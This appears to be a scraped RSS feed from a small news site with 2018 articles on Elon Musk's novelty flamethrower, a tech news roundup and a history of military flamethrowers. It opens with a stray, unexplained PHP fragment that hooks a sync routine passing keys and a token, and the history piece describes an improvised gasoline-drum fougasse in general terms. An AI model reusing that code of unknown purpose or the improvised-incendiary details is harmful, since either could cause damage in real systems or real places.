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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); flamethrower – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 03 Feb 2018 23:43:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png flamethrower – Brief News https://briefnews.eu 32 32 Elon Musk: I’ll dub my flamethrower “Not a Flamethrower” to thwart customs https://briefnews.eu/elon-musk-ill-dub-my-flamethrower-not-a-flamethrower-to-thwart-customs/ https://briefnews.eu/elon-musk-ill-dub-my-flamethrower-not-a-flamethrower-to-thwart-customs/#respond Sat, 03 Feb 2018 23:43:23 +0000 http://briefnews.eu/elon-musk-ill-dub-my-flamethrower-not-a-flamethrower-to-thwart-customs/

Enlarge (credit: Boring Company)

Last weekend, the Boring Company offered 20,000 novelty flamethrowers for sale. By Thursday, all 20,000 had sold out. But now Elon Musk says the company has hit an obstacle.

“Some customs agencies are saying they won’t allow shipment of anything called a ‘Flamethrower,'” Musk tweeted on Friday night. “To solve this, we are renaming it ‘Not a Flamethrower.'”

To be fair, that might be a more accurate label. As Ars Technica’s Ron Amadeo wrote earlier this week, the Boring Company’s “flamethrower” looks like it’s “nothing more than a propane torch with fancy styling.”

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]]> https://briefnews.eu/elon-musk-ill-dub-my-flamethrower-not-a-flamethrower-to-thwart-customs/feed/ 0 The Morning After: Elon Musk’s flamethrower https://briefnews.eu/the-morning-after-elon-musks-flamethrower/ https://briefnews.eu/the-morning-after-elon-musks-flamethrower/#respond Mon, 29 Jan 2018 11:18:57 +0000 http://briefnews.eu/the-morning-after-elon-musks-flamethrower/

Welcome back to Monday. If you’ve been waiting to hear more on Samsung’s next Galaxy flagship, we’ve got you covered. As well as everything else that happened over the weekend, naturally. Like Elon Musk with a flamethrower.

Intelligent Scan would work day or night.
Samsung Galaxy S9 may pack more reliable face recognition

Samsung has hinted that the Galaxy S9 might include more advanced face recognition, but we’re now getting clues of what’s involved. Deep inside the Galaxy Note 8’s Oreo beta software, there’s a hidden Intelligent Scan feature that uses both camera-based face detection and the iris scanner for “better accuracy and security” and improved results in “low or very bright” lighting. Given that the iris scanning on the S8 and Note 8 can be finnicky (and that’s us being kind), this could deliver a much more consistent experience when unlocking your phone. We’re still not entirely sure how: A video included suggests that both the iris scanner and camera are active at the same time, regardless of lighting conditions, but we’d still like to hear more on the finer details. And does Samsung have its own Animoji in the works? Galaxy-moji? Samsung smileys? The world must know.

You might want to buy a fire extinguisher while you’re at it.
Elon Musk’s Boring Company is selling a flamethrower

After weeks of teases, Elon Musk has revealed The Boring Company’s latest product: a flamethrower. That’s right, the same company digging traffic-skipping tunnels is now offering something that might be better used against any aggressive aliens SpaceX comes across. Plunk down $ 500 for a pre-order (there’s no word on when it will ship), and you can have the “world’s safest” fire-breathing weapon. Just in case it isn’t safe enough, though, there’s also a $ 30 branded fire extinguisher. Musk had teased for a while that he would sell a flamethrower when Boring Company hats sold out.

Health apps may pose inadvertent risks to troops.
Strava fitness-tracking data reveals secret military bases

Location data in fitness apps is frequently a good thing since it helps you remember and optimize your routes. However, it’s also created an unexpected security risk, revealing secret military bases. UCA analyst Nathan Ruser has discovered that Strava’s publicly available activity map includes the fitness routes of soldiers and agents in sensitive locations, including American bases in Afghanistan and Syria, the UK’s Mount Pleasant airbase in the Falkland Islands, a suspected CIA base in Somalia and even Area 51.

THOUSANDS OF DOLLARS!
ATM jackpotting hacks reach the US

For some ATM thieves, swiping card data involves too much patience — they’d rather just take the money and run. The US Secret Service has warned ATM makers Diebold Nixdorf and NCR that jackpotting hacks, where crooks force machines to cough up large sums of cash, have reached the US after years of creating problems in Asia, Europe and Mexico. The attacks have focused largely on Diebold’s front-loading Opteva ATMs in stand-alone locations, such as retail stores and drive-thrus, and have relied on a combination of malware and hardware to pull off heists.

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No, we’re not kidding. After weeks of teases, Elon Musk has confirmed that The Boring Company is selling… a flamethrower. That’s right, the same company digging traffic-skipping tunnels is now offering a weapon. Plunk down $ 500 for a pre-order (there’s no word on when it will ship) and you can have the “world’s safest” fire-breathing weapon. Just in case it isn’t safe enough, though, there’s also a $ 30 branded fire extinguisher.

There are 20,000 on sale. And before you ask: yes, these should be legal. Musk said the Bureau of Alcohol, Tobacco and Firearms allows throwers with flames shorter than 10 feet, which looks to be the case here.

Why a flamethrower? Musk hasn’t said, but he did indicate that he would sell a flamethrower when Boring Company hats sold out, and he’s clearly living up to that promise. It’s certainly consistent with the firm’s “if it sounds good, do it” ethos — remember, Elon Musk founded The Boring Company on impulse after he was caught in traffic. It’s undoubtedly going to garner attention as a marketing ploy. The question is, what happens if and when the flamethrower sells out? We have a hunch that Musk would be happy to top this with another novelty, especially since the company’s first tunnels won’t see service for a while.

Great for roasting nuts 🔥 🥜

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  • The US military stopped using flamethrowers in 1978, but there are several potential applications of the flamethrower to modern counter-terrorism operations.
  • Still, the potential for uncontrollable and indiscriminate collateral damage makes them less-than-ideal for prolonged operations in urban terror strongholds like, say Mosul or Raqqa.
  • But there’s no law against them in the US, and Elon Musk is apparently developing one. 

No weapon wielded by combat troops during the global conflicts of the 20th century so viscerally embodied the brutality of total war than the flamethrower.

Though an infrequent guest in military arsenals dating back to the ancient Greeks, the first modern-man immolation cannon appeared in hands of German soldiers as the Flammenwerferapparaten during World War I. German troops debuted the weapon in 1915 during a clash with Allied forces near Malancourt, France, during the Battle of Verdun, during which British military leaders reportedly labeled the flamethrower “an inhuman projection of the German scientific mind” — a sinister, sadistic tool of wanton destruction. 

But that didn’t stop the flamethrower from entering widespread use during World War II, when the U.S. Army and Marine Corps adopted the variants on the U.S. armed forces’ M1 and M2 flamethrowers, mostly to clear out Japanese troops dug into strategic terrain across the Pacific.

FM 20-33 Combat Flame Operations, the services’ Vietnam-era combat manual for incendiary operations, stated that the flamethrower should be considered “a valuable close combat weapon that can be used to demoralize troops and reduce positions that have resisted other forms of attack,” as Marine Corps Capt. N. T. Perkkio wrote in a 2005 briefing arguing for their return to the battlefield in the wake of the Global War on Terror:

The greatest advantage of the flamethrower is its ability to penetrate small openings and fill fortified positions with both fire and smoke. Thus, the enemy either burns or asphyxiates due to the lack of oxygen available to breathe. In the urban environment, the flamethrower can shoot fire around corners to enhance movement past dead or blind angles. Besides causing death and destruction, the flamethrower can greatly impact an enemy psychologically. According to several historical examples, the enemy normally surrenders before submitting themselves to a flame attack. They would rather be captured than burned.

While the Defense Department ramped up research on both man-portable and vehicle-mounted incendiary weapons following World War II, the system fell into disfavor during the Vietnam War as horrifying imagery like “Napalm Girl” — the 1972 Pulitzer Prize-winning photo of a naked 9-year-old girl fleeing after surviving a napalm attack — turned the American public against incendiary weapons. DoD issued a directive in 1978 effectively retiring the weapon from battlefield use.

“The thought was that, well, flames set people on fire, and we were going through the nice-nice phase of our foreign policy and our national security policy and everybody wanted to be nice,” retired Army Lt. Col. Charles Krohn, a former senior defense official and author of The Lost Battalion of Tet, told Task & Purpose. “Setting people on fire seemed unnecessarily cruel; it was an emotional reaction rather than practical.”

Indeed the flamethrower wasn’t a tactical priority after Vietnam, says Krohn: “Nobody was worried about close combat; we were dealing with Soviets, at a distance, with nukes.”  

But the ethical issues regarding the cruelty of the flamethrower doesn’t make its return to the battlefield an impossibility: Although Protocol III of the Convention on Certain Conventional Weapons bans the use of incendiary weapons against civilians outright, it only prohibits their delivery by air against military targets “located within a concentration of civilians,” suggesting that man-portable incendiary weapons appear permissible when a military objective “is clearly separated from the concentration of civilians and all feasible precautions are taken” to avoid civilian casualties.

“The use of weapons that employ fire, such as tracer ammunition, flamethrowers, napalm, and other incendiary agents, against targets requiring their use is not a violation of international law,” a 2003 Army field manual states. “They should not, however, be employed to cause unnecessary suffering to individuals.”

This means that, tactically, there are several potential applications of the flamethrower to modern counter-terrorism operations. But while the branch considered returning the weapon to the branch’s arsenal for defense purposes in the early years of the Global War on Terror, the enduring notoriety that has followed incendiary weapons since napalm his the battlefields of Vietnam has, to Krohn, deprived combat troops of an essential force protection tool.

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“I have never spoken to an active-duty soldier involved in close combat that wouldn’t want all the protection that science and technology can make available,” he told Task & Purpose.

Krohn would know: During the Tet Offensive, his battalion was surrounded by a North Vietnamese army regiment during the Battle of Huế in February 1968, leaving Krohn as one of the only survivors. Had his team been equipped with an overwhelming, far-reaching incendiary for force protection, he told Task & Purpose, the outcome might have been different.  

In The Lost Battalion of Tet, Krohn recalls two simultaneous NVA attacks on U.S. military outposts on Jan. 3, 1968 that both offered lessons in incendiary warfare: LZ Leslie, attacked by NVA fighters outfitted with flamethrowers “with great effectiveness,” overrunning the location after a 12-hour siege and “offering a lesson in terror survivors tend not to forget.” The other, at LZ Ross, resulted in 242 NVA soldiers dead — and only one KIA among U.S. and allied forces.

Why was the defense of Ross more successful than Leslie? According to Krohn, the soldiers at Ross had enhanced their perimeter with a fougasse — an improvised mortar developed by French military engineers — that consisted of 55-gallon drums filled with thickened gasoline. Each drum was filled with rocks and pointed outward along the perimeter, with a wire running from an igniter on the bottom to a fortified safe point. During a prolonged attack on a firebase outside of friendly artillery range, Krohn says, soldiers and Marines would use the fougasse as a last-ditch defense.

“It’s basically napalm blown outward with terribly destructive power,” Krohn told Task & Purpose. “We used it a lot to protect the firebases I wrote about.” For forward operating bases from Vietnam to Afghanistan that are outside artillery range or lack immediate air support, the improvised napalm is a fine defensive stopgap.

“If you want air cover but you don’t always have aircraft or drones in the area, what do you do in the extreme short term?” he said. “You fight like and hell and if they get close to the wire, you blow the fougasse.”

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The question facing DoD planners regarding the weapon’s return to the battlefield is meshing tactical practicality with international law surrounding incendiary weapons. Though flamethrowers offer an edge over conventional small arms when going up against a fortified structure like a building or bunker rather than the tunnels of Iwo Jima or caves of Afghanistan, the potential for uncontrollable and indiscriminate collateral damage makes them less-than-ideal for prolonged operations in urban terror strongholds like, say Mosul or Raqqa.

As Krohn put it: “That flame is not the primary killing device. Suffocation is.”

Luckily, service members won’t need to wait long to get your hands on a flamethrower: In the United States, there are zero regulations, licenses, or background checks required for purchasing or operating a civilian-made tool of incendiary chaos in 48 states.

And if all goes according to plan, billionaire tech entrepreneur Elon Musk will have a slick $ 600 model for you just in time for Christmas. 

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